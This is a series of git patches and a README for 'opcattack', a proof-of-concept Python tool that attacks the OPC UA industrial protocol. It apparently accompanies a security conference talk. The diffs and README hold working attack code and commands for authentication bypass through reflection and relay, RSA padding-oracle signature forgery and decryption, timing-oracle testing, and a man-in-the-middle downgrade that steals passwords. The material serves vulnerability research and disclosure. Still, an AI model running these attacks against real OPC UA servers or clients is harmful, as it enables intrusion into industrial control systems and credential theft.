SecurityPolicy.NONE, activateSessionRequest, activateSessionResponse, requestHeader=simple_requestheader(createreply.authenticationToken), clientSignature=signatureData.create(algorithm=None,signature=None), clientSoftwareCertificates=[], localeIds=[], - userIdentityToken=None, + userIdentityToken=id_token, userTokenSignature=signatureData.create(algorithm=None,signature=None), ) log_success('Session activation successful!') From 85ab7fefa3909f466913cead61aee8ff26e8f262 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Fri, 17 May 2024 11:32:12 +0200 Subject: [PATCH 57/70] Added support for long RSA keys. --- messages.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/messages.py b/messages.py index 12970c0..4519713 100644 --- a/messages.py +++ b/messages.py @@ -97,7 +97,10 @@ def sign_and_encrypt(self, # Length calculations. padbyte = plainblocksize - (len(plaintext) + 1 + sigsize) % plainblocksize - padding = (padbyte + 1) * bytes([padbyte]) + if padbyte < 256: + padding = (padbyte + 1) * bytes([padbyte]) + else: + padding = (padbyte + 1) * bytes([padbyte % 256]) + bytes([padbyte // 256]) ptextsize = len(plaintext) + len(padding) + sigsize ctextsize = (ptextsize // plainblocksize) * cipherblocksize From fc0b6e41a98e15ed5a55bbd1c0b30817be8e36b1 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Fri, 17 May 2024 16:26:22 +0200 Subject: [PATCH 58/70] Added an even shorter expansion to the timing oracle checks. --- attacks.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks.py b/attacks.py index 4ddacd7..4cda1a6 100644 --- a/attacks.py +++ b/attacks.py @@ -1434,7 +1434,7 @@ def server_checker(url : str, test_timing_attack : bool): log('Testing OpenSecureChannel timing attack...') results = {} - for expandval in [30,50,100]: + for expandval in [10,30,50,100]: log(f'Expansion parameter {expandval}:') keylen = certificate_publickey(pkcs1_ep.serverCertificate).size_in_bytes() n, e = certificate_publickey_numbers(pkcs1_ep.serverCertificate) From 63e1913e6fa7b86aee5914f0370dcee1d64b5ab3 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Fri, 24 May 2024 15:19:18 +0200 Subject: [PATCH 59/70] Progress bar fix. --- attacks.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/attacks.py b/attacks.py index 4cda1a6..10562da 100644 --- a/attacks.py +++ b/attacks.py @@ -982,7 +982,8 @@ def padding_oracle_quality( # Perform the test. score = 0 for i, (padding_right, plaintext) in enumerate(testcases): - progbar = '=' * (i // 2) + ' ' * (100 - i // 2) + progress = i * 200 // (goodpads + badpads) + progbar = '=' * (progress // 2) + ' ' * (100 - progress // 2) print(f'[*] Progress: [{progbar}]', file=sys.stderr, end='\r', flush=True) if oracle.query(int2bytes(pow(plaintext, e, n), keylen)): if padding_right: From 15da3f2d88e0f9ec8727e5b6b0db42f965ca5c8a Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Fri, 14 Jun 2024 15:43:22 +0200 Subject: [PATCH 60/70] Added socket keepalive. --- attacks.py | 1 + 1 file changed, 1 insertion(+) diff --git a/attacks.py b/attacks.py index 10562da..aab0b21 100644 --- a/attacks.py +++ b/attacks.py @@ -1303,6 +1303,7 @@ def bypass_opn(impersonate_endpoint : endpointDescription.Type, login_endpoint : log('Performing the OPN handshake...') login_sock = connect_and_hello(login_endpoint.endpointUrl) + keepalive.set(login_sock) opn_reply = opc_exchange(login_sock, opn_req) log_success('Forged OPN request was accepted. Now keeping this session open while decrypting the first block of the response.') From b356cd202ecf15dfdd526fdb706ea064723147d3 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Wed, 19 Jun 2024 15:39:15 +0200 Subject: [PATCH 61/70] Removed "byte drop" attack. --- opcattack.py | 47 ++++++++++++++++++++++++----------------------- 1 file changed, 24 insertions(+), 23 deletions(-) diff --git a/opcattack.py b/opcattack.py index f1c283f..50a08a0 100755 --- a/opcattack.py +++ b/opcattack.py @@ -338,30 +338,31 @@ def add_arguments(self, aparser): def execute(self, args): client_attack(nonegrade_mitm, getattr(args, 'server-url'), *getattr(args,'[listen-address]:port'), args.reverse_hello, args.persist) - -class ByteDropMitmAttack(Attack): - subcommand = 'client-bytedrop' - short_help = 'password stealing downgrade attack against a client, using the "byte dropping" attack' - long_help = """ -Demonstrates the byte dropping MitM attack by modifying a signed server endpoint list such that is appears to request -the client to supply an unencrypted password. - -Takes advantage of the fact that HelloMessage parameters are unauthenticated to force the server to send signed -messages with a payload length of one byte. By dropping messages arbitrary byte ranges (except for the final byte) can -be removed from the payload. - -The effect is this particular attack is the same as client-downgrade, except that the client does not need to accept -the None security policy for connection security. - -Requires that the server has an endpoint list that includes a Sign endpoint, and happens to have the right structure -to allow the right transformation via byterange dropping. -""".strip() - def add_arguments(self, aparser): - add_mitm_args(aparser) +# Byte drop attack does not actually appear to work in practice +# class ByteDropMitmAttack(Attack): +# subcommand = 'client-bytedrop' +# short_help = 'password stealing downgrade attack against a client, using the "byte dropping" attack' +# long_help = """ +# Demonstrates the byte dropping MitM attack by modifying a signed server endpoint list such that is appears to request +# the client to supply an unencrypted password. + +# Takes advantage of the fact that HelloMessage parameters are unauthenticated to force the server to send signed +# messages with a payload length of one byte. By dropping messages arbitrary byte ranges (except for the final byte) can +# be removed from the payload. + +# The effect is this particular attack is the same as client-downgrade, except that the client does not need to accept +# the None security policy for connection security. + +# Requires that the server has an endpoint list that includes a Sign endpoint, and happens to have the right structure +# to allow the right transformation via byterange dropping. +# """.strip() + +# def add_arguments(self, aparser): +# add_mitm_args(aparser) - def execute(self, args): - client_attack(chunkdrop_mitm, getattr(args, 'server-url'), *getattr(args,'[listen-address]:port'), args.reverse_hello, args.persist) +# def execute(self, args): +# client_attack(chunkdrop_mitm, getattr(args, 'server-url'), *getattr(args,'[listen-address]:port'), args.reverse_hello, args.persist) ENABLED_ATTACKS = [ CheckAttack(), @@ -372,7 +373,7 @@ def execute(self, args): DecryptAttack(), SigForgeAttack(), DowngradeMitmAttack(), - ByteDropMitmAttack(), + # ByteDropMitmAttack(), ] From a298c7e05d02c008cc3c680264a3b2987f11cc50 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Fri, 21 Jun 2024 15:35:35 +0200 Subject: [PATCH 62/70] Dockerized the tool. --- Dockerfile | 6 ++++++ opcattack.py | 2 +- requirements.txt | 1 + 3 files changed, 8 insertions(+), 1 deletion(-) create mode 100644 Dockerfile diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..fca9671 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,6 @@ +FROM python:3.10 + +COPY . /app/ +WORKDIR /app +RUN pip install -r requirements.txt +ENTRYPOINT ["python", "opcattack.py"] diff --git a/opcattack.py b/opcattack.py index 50a08a0..189e54d 100755 --- a/opcattack.py +++ b/opcattack.py @@ -130,7 +130,7 @@ def add_arguments(self, aparser): help='don\'t dump server contents on success; just tell if attack worked') aparser.add_argument('-b', '--bypass-opn', action='store_true', help='when no HTTPS is available, attempt to use sigforge and decrypt attacks to bypass the opc.tcp secure channel handshake') - aparser.add_argument('-c', '--cache-file', type=Path, default='.spoofed-opnreqs.json', + aparser.add_argument('-c', '--cache-file', type=Path, default='.opncache.json', help='file in which to cache OPN requests with spoofed signatures; default: .opncache.json') add_padding_oracle_args(aparser.add_argument_group('padding oracle parameters', '(applicable if --bypass-opn is set)')) diff --git a/requirements.txt b/requirements.txt index bfef1e6..952e9ab 100644 --- a/requirements.txt +++ b/requirements.txt @@ -8,3 +8,4 @@ pycryptodome==3.20.0 pyOpenSSL==24.1.0 requests==2.31.0 urllib3==2.2.1 +keepalive-socket==0.0.1 From 5199571caff3e08716662eee7e53f980c43f2122 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 1 Jul 2024 17:18:34 +0200 Subject: [PATCH 63/70] Small fixes. --- attacks.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/attacks.py b/attacks.py index aab0b21..d21c617 100644 --- a/attacks.py +++ b/attacks.py @@ -1431,7 +1431,7 @@ def server_checker(url : str, test_timing_attack : bool): if test_timing_attack: if not pkcs1_ep: - i, pkcs1_ep = max(enumerate(endpoints, start=1), key=lambda i_ep: i_ep[1].securityPolicyUri != SecurityPolicy.NONE) + i, pkcs1_ep = max(enumerate(endpoints, start=1), key=lambda i_ep: [i_ep[1].transportProfileUri.endswith('uatcp-uasc-uabinary'), i_ep[1].securityPolicyUri != SecurityPolicy.NONE]) log(f'No endpoint advertising Basic128Rsa15. Trying Endpoint #{i} with policy {pkcs1_ep.securityPolicyUri.value} instead.') log('Testing OpenSecureChannel timing attack...') @@ -1614,7 +1614,7 @@ def clientsocker(): # None downgrade password stealer. def nonegrade_mitm(server_eps : List[endpointDescription.Type]) -> ClientAttack: # Make a spoofed endpoint with None security that only accepts passwords. - # Base this on an existing endpoints, preferably those similar to what we want. + # Base this on an existing endpoint, preferably those similar to what we want. spoofed_ep = max(server_eps, key=lambda ep: ep.securityPolicyUri == SecurityPolicy.NONE) spoofed_policy = max(spoofed_ep.userIdentityTokens, default=None, key=lambda p: p.tokenType == UserTokenType.USERNAME) if not spoofed_policy or spoofed_policy.tokenType != UserTokenType.USERNAME: From a0830387f2df512753387a74cc31480478cc023c Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Tue, 2 Jul 2024 11:16:45 +0200 Subject: [PATCH 64/70] Fixed issue with attacking Prosys. More logging. --- attacks.py | 7 ++++++- crypto.py | 14 ++++++++++++++ 2 files changed, 20 insertions(+), 1 deletion(-) diff --git a/attacks.py b/attacks.py index d21c617..d14df5a 100644 --- a/attacks.py +++ b/attacks.py @@ -342,7 +342,7 @@ def execute_relay_attack( def csr(chan, client_ep, server_ep, nonce): return generic_exchange(chan, server_ep.securityPolicyUri, createSessionRequest, createSessionResponse, requestHeader=simple_requestheader(), - clientDescription=client_ep.server, + clientDescription=client_ep.server._replace(applicationUri=applicationuri_from_cert(client_ep.serverCertificate)), # Prosys needs this. serverUri=server_ep.server.applicationUri, endpointUrl=server_ep.endpointUrl, sessionName=None, @@ -353,10 +353,14 @@ def csr(chan, client_ep, server_ep, nonce): ) # Send CSR to login_endpoint, pretending we're imp_endpoint. Use arbitrary nonce. + log(f'Creating first session on login endpoint ({login_endpoint.endpointUrl})') createresp1 = csr(login_chan, imp_endpoint, login_endpoint, os.urandom(32)) # Now send the server nonce of this channel as a client nonce on the other channel. + log(f'Got server nonce: {hexlify(createresp1.serverNonce)}') + log(f'Forwarding nonce to second session on impersonate endpoint ({imp_endpoint.endpointUrl})') createresp2 = csr(imp_chan, login_endpoint, imp_endpoint, createresp1.serverNonce) + log(f'Got signature over nonce: {hexlify(createresp2.serverSignature.signature)}') if createresp2.serverSignature.signature is None: raise AttackNotPossible('Server did not sign nonce. Perhaps certificate was rejected, or an OPN attack may be needed first.') @@ -380,6 +384,7 @@ def csr(chan, client_ep, server_ep, nonce): raise AttackNotPossible('Endpoint does not allow either anonymous or certificate-based authentication.') # Now activate the first session using the signature from the second session. + log(f'Using signature log in to {login_endpoint.endpointUrl}.') generic_exchange(login_chan, login_endpoint.securityPolicyUri, activateSessionRequest, activateSessionResponse, requestHeader=simple_requestheader(createresp1.authenticationToken), clientSignature=createresp2.serverSignature, diff --git a/crypto.py b/crypto.py index 5598620..7b004e8 100644 --- a/crypto.py +++ b/crypto.py @@ -200,6 +200,20 @@ def selfsign_cert(template : bytes, cn : str, expiry : datetime) -> tuple[bytes, # Convert key to pycryptodrome object. keybytes = crypto.dump_privatekey(crypto. FILETYPE_ASN1, key) return crypto.dump_certificate(crypto.FILETYPE_ASN1, cert), import_key(keybytes) + +def applicationuri_from_cert(certificate : bytes) -> str: + # Reads the first SAN (or otherwise Common Name) from a certificate, which is to be used as an applicationUri. + cert = crypto.load_certificate(crypto.FILETYPE_ASN1, certificate) + for i in range(0, cert.get_extension_count()): + ext = cert.get_extension(i) + if b'subjectAltName' in ext.get_short_name(): + name = str(ext).split(',')[0] + if name.startswith('URI:'): + name = name[4:] + return name + + return cert.get_subject().commonName + def int2bytes(value : int, outlen : int) -> bytes: # Coverts a nonnegative integer to a fixed-size big-endian binary representation. From 44a2991674c328e680f6da7e344993c12c0c9aaa Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Wed, 3 Jul 2024 17:06:52 +0200 Subject: [PATCH 65/70] Padding fix. --- crypto.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/crypto.py b/crypto.py index 7b004e8..1742b32 100644 --- a/crypto.py +++ b/crypto.py @@ -130,7 +130,9 @@ def pkcs7_pad(message : bytes, blocksize : int) -> bytes: return pad(message, blocksize) def pkcs7_unpad(message : bytes, blocksize : int) -> bytes: - return unpad(message, blocksize) + # return unpad(message, blocksize) + # Alternative implementation that accepts non-aligned block sizes. + return message[:-message[-1]] def aes_cbc_encrypt(key : bytes, iv : bytes, padded_plaintext : bytes) -> bytes: return AES.new(key, AES.MODE_CBC, iv=iv).encrypt(padded_plaintext) From fe752fc3908ba3facc3867119176449633859c61 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Tue, 23 Jul 2024 10:35:25 +0200 Subject: [PATCH 66/70] Wrote README. --- README.md | 180 +++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 179 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index e6d2425..c855ce2 100644 --- a/README.md +++ b/README.md @@ -1 +1,179 @@ -No README yet. But you can run `./opcattack.py -h` to get an overview of the tool's capabilities. Install dependencies via `pip install -r requirements.txt`. \ No newline at end of file +# OPC UA attack tool + +Python tool to automate the OPC UA attacks described in \[eventually put a URL to some public write-up here\], and to +evaluate whether an OPC UA endpoint is potentially vulnerable. + +## Usage + + $ ./opcattack.py -h + usage: opcattack.py [-h] attack ... + + Proof of concept tool for attacks against the OPC UA security protocol. + + positional arguments: + attack attack to test + check evaluate whether attacks apply to server + reflect authentication bypass via reflection attack + relay authentication bypass via relay attack between two servers + cn-inject path injection via an (untrusted) certificate CN + auth-check tests if server allows unauthenticated access + decrypt sniffed password and/or traffic decryption via padding + oracle + sigforge signature forgery via padding oracle + client-downgrade + password stealing downgrade attack against a client + + options: + -h, --help show this help message and exit + +Run `opcattack.py -h` to get help for configuration options of a specific attack. + +## Installation + +Requires Python 3.10 or higher. Install dependencies via `pip install -r requirements.txt`. + +Alternatively, you can build a Docker container: + + docker build -t opcattack . + docker run -it opcattack + +When running the `reflect` attack with `--bypass-opn` and `-T` flags, you may want to persist the cache file like this: + + docker run -it -v opccache:/var/cache opcattack reflect -c /var/cache/opcfile --bypass-opn -T -C opc.tcp://: + + +## Evaluating an endpoint + +The first thing you'll want to do is enumerate the endpoints of an OPC UA server by running the following command +against either the server itself or a discovery server: + + opcattack.py check opc.tcp://: + +Or, if the server supports HTTPS: + + opcattack.py check https://: + +The output will list endpoint information as well as which attack may be applicable based on the supported security +policies and transport protocols. + +If you want to determine whether the server is vulnerable to the timing-based padding oracle variant, you can run +`check -t`, which measures response times for different ciphertext expansion parameters. + +## Checking if authentication is required + +An OPC UA endpoint may be configured to simply not enforce client or user authentication in the first place. While this +is not the most exciting vulnerability, it is important to check this first to make sure that either authentication +bypass actually, well, bypasses something. You can run `opcattack.py auth-check ` to try a simple anonymous +login. + +If successful, it will enumerate all readable nodes within the OPC server. It does not test for write access, however. + +## Performing an HTTPS reflect/relay attack (attack 1) + +If the `check` command reports at least one HTTPS endpoint, a reflection attack may be possible whenever a server +trusts its own certificate. A PoC can be executed as follows: + + opcattack.py reflect https://:/ + +This will carry out all the necessary steps. If succesful, the tool will enumerate all nodes on the server; this +demonstration can be disabled via the `-n` flag. + +If client authentication is succesfully bypassed but the server also requires user authentication this is reported by +the tool. If certificate based user authentication is allowed the tool will automatically attempt reusing the +reflected signature to spoof user authentication as well. + +HTTPS relay attacks between two different servers can be executed as follows: + + opcattack.py relay https:// https:// + + +## Performing an RSA padding oracle attack (attack 2) + +### Error-based variant + +If you just want a proof of concept on whether a padding oracle is possible, the most straightforward way to do this +is via the `sigforge` command, which attempts to use a padding oracle attack to forge an RSA signature over any chosen +message with the server's public key. You can then verify this signature using a tool like OpenSSL, to demonstrate that +the signature indeed matches the given message. Run it as follows: + + opcattack.py sigforge opc.tcp://: + +All padding oracle commands will first check for a few predefined status codes or messages, and tests their reliability +by submitting many correctly and incorrectly padded encrypted messages. The "quality score" of the padding oracle is +judged based on its false negative rate. If a single false positive is detected, the method is scored a 0. + +Not all OPC UA implementations have been tested with this. If an implementation's error messages need to be +distinguished in a way not yet accounted for this tool will not be smart enough to find it. + +The tool also allows a decryption attack. While this can be done for any RSA ciphertext produced with the same public +key it is most useful on a passively sniffed secure channel handshake or an encrypted password. See +`opcattack.py decrypt -h` for instructions on how to extract those. You can run this as follows: + + opcattack.py decrypt opc.tcp://: + +The tool will print the hex-encoded plaintext, if succesful. If the plaintext looks like an encrypted password this +password will be decoded. If the plaintext looks like an OpenSecureChannel message it will be parsed and printed, +revealing the secret nonce inside. + +When the two nonces of the same handshake are decrypted the channel keys can be derived and used to decrypt the rest +of the communication. That is currently not implemented in this tool, however. + +### Timing-based variant + +If no error-based oracle is found, you can test a timing-based oracle instead. First, run `opcattack.py check -t` to +test response timings. This will produce results such as the following: + + [*] Timing experiment results: + [+] Expansion parameter 10: + [+] Average time with correct padding: 0.018887882232666017 + [+] Average time with incorrect padding: 0.005357732772827148 + [+] Shortest time with correct padding: 0.016694307327270508 + [+] Longest time with incorrect padding: 0.022701740264892578 + [+] ----------------- + [+] Expansion parameter 30: + [+] Average time with correct padding: 0.03950897693634033 + [+] Average time with incorrect padding: 0.005196962356567383 + [+] Shortest time with correct padding: 0.035872697830200195 + [+] Longest time with incorrect padding: 0.011386394500732422 + [+] ----------------- + [+] Expansion parameter 50: + [+] Average time with correct padding: 0.06519682884216309 + [+] Average time with incorrect padding: 0.005134844779968261 + [+] Shortest time with correct padding: 0.05526590347290039 + [+] Longest time with incorrect padding: 0.009844779968261719 + [+] ----------------- + [+] Expansion parameter 100: + [+] Average time with correct padding: 0.1187672519683838 + [+] Average time with incorrect padding: 0.00522763729095459 + [+] Shortest time with correct padding: 0.10398173332214355 + [+] Longest time with incorrect padding: 0.013846635818481445 + [+] ----------------- + +When a timing-based padding oracle is present then the time with correct padding should be longer than the time with +incorrect padding. Here, that is obviously the case. For executing the attack, you need to pick an "expansion +parameter" that shows a clear difference between the "shortest time with correct padding" and the +"longest time with incorrect padding". A bigger expansion parameter will generally be more reliable but less +performant. + +Finally, you need to pick a threshold which is some value in between the "shortest time with correct padding" and +the "longest time with incorrect padding". This value will be used to judge how to classify a padding oracle query. +When the response is positive, the query will be repeated a few times to reduce the chance of false positives due to +temporary network hiccups. + +You can configure these expansion and threshold parameters by adding the flags +`-T -C ` to a `sigforge`, `decrypt` or `reflect` command. Once these +parameters are added, timing-based padding oracles will be taken into account with these parameters. + +### Combining with a reflection attack + +The tool also implements the combination of a reflection and two padding oracle attacks to achieve an authentication +bypass over an `opc.tcp` secure channel. You can run this by adding the `--bypass-opn` flag to the `reflect` command: + + opcattack.py reflect https://:/ --bypass-opn + +If the padding oracle is timing based you can also add `-T` and `-C` parameters. + +The tool will cache the result of the "first half" of the attack (i.e. the signature spoofing phase). If the attack +fails or halts somewhere during the "second half" (the decryption or reflection phases), you can try running the tool +again and the first half will be automatically skipped. + From fa9cf0b58aaa5733ea7689dbfef32a74a36bb0d3 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Tue, 23 Jul 2024 11:16:39 +0200 Subject: [PATCH 67/70] Added misc attack descriptions to README. --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index c855ce2..a8f30cd 100644 --- a/README.md +++ b/README.md @@ -177,3 +177,11 @@ The tool will cache the result of the "first half" of the attack (i.e. the signa fails or halts somewhere during the "second half" (the decryption or reflection phases), you can try running the tool again and the first half will be automatically skipped. +### Miscellaneous attacks + +The tool implements two other experimental attacks, but these are not novel protocol flaws: + +- `cn-inject`: attempts a path injection attack via the CN of an untrusted certificate. While in theory this would be possible against a naive implementation of the OPC UA [certificate file name conventions](https://reference.opcfoundation.org/GDS/v105/docs/F) I have not actually found an implementation (yet) that is vulnerable to this. +- `client-downgrade`: MitM attack to downgrade encryption of a client connection, attempting to steal the user password. This is already basically a known potential flaw, however, and most implementations I found are not affected because they need the user to specify a specific security policy in the client configuration. + + From 92d5b506622f6782914c814b1a32bd92033292be Mon Sep 17 00:00:00 2001 From: djrevmoon Date: Wed, 25 Jun 2025 10:17:37 +0200 Subject: [PATCH 68/70] Initial commit --- LICENSE | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 LICENSE diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..f9299a0 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Secura + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. From 7f091113bf91490f41582e7eb1d78be82dbe2b02 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Wed, 25 Jun 2025 17:02:40 +0200 Subject: [PATCH 69/70] Added talk link to README. --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index a8f30cd..ca3983a 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # OPC UA attack tool -Python tool to automate the OPC UA attacks described in \[eventually put a URL to some public write-up here\], and to +Python tool to automate the OPC UA attacks described in my talk "[No VPN Needed? Cryptographic Attacks Against the OPC UA Protocol](https://www.blackhat.com/us-25/briefings/schedule/index.html#no-vpn-needed-cryptographic-attacks-against-the-opc-ua-protocol-44760)", and to evaluate whether an OPC UA endpoint is potentially vulnerable. ## Usage @@ -182,6 +182,6 @@ again and the first half will be automatically skipped. The tool implements two other experimental attacks, but these are not novel protocol flaws: - `cn-inject`: attempts a path injection attack via the CN of an untrusted certificate. While in theory this would be possible against a naive implementation of the OPC UA [certificate file name conventions](https://reference.opcfoundation.org/GDS/v105/docs/F) I have not actually found an implementation (yet) that is vulnerable to this. -- `client-downgrade`: MitM attack to downgrade encryption of a client connection, attempting to steal the user password. This is already basically a known potential flaw, however, and most implementations I found are not affected because they need the user to specify a specific security policy in the client configuration. +- `client-downgrade`: MitM attack to downgrade encryption of a client connection, attempting to steal the user password. This is already pretty much a known potential flaw, however, and most implementations I found are not affected because they need the user to specify a specific security policy in the client configuration. From 3adf4da22640a7b09bdfd75670d990a28806118e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 25 Jun 2025 15:04:42 +0000 Subject: [PATCH 70/70] Bump cryptography from 42.0.5 to 44.0.1 Bumps [cryptography](https://github.com/pyca/cryptography) from 42.0.5 to 44.0.1. - [Changelog](https://github.com/pyca/cryptography/blob/main/CHANGELOG.rst) - [Commits](https://github.com/pyca/cryptography/compare/42.0.5...44.0.1) --- updated-dependencies: - dependency-name: cryptography dependency-version: 44.0.1 dependency-type: direct:production ... Signed-off-by: dependabot[bot] --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 952e9ab..18d054d 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,7 +1,7 @@ certifi==2024.2.2 cffi==1.16.0 charset-normalizer==3.3.2 -cryptography==42.0.5 +cryptography==44.0.1 idna==3.6 pycparser==2.21 pycryptodome==3.20.0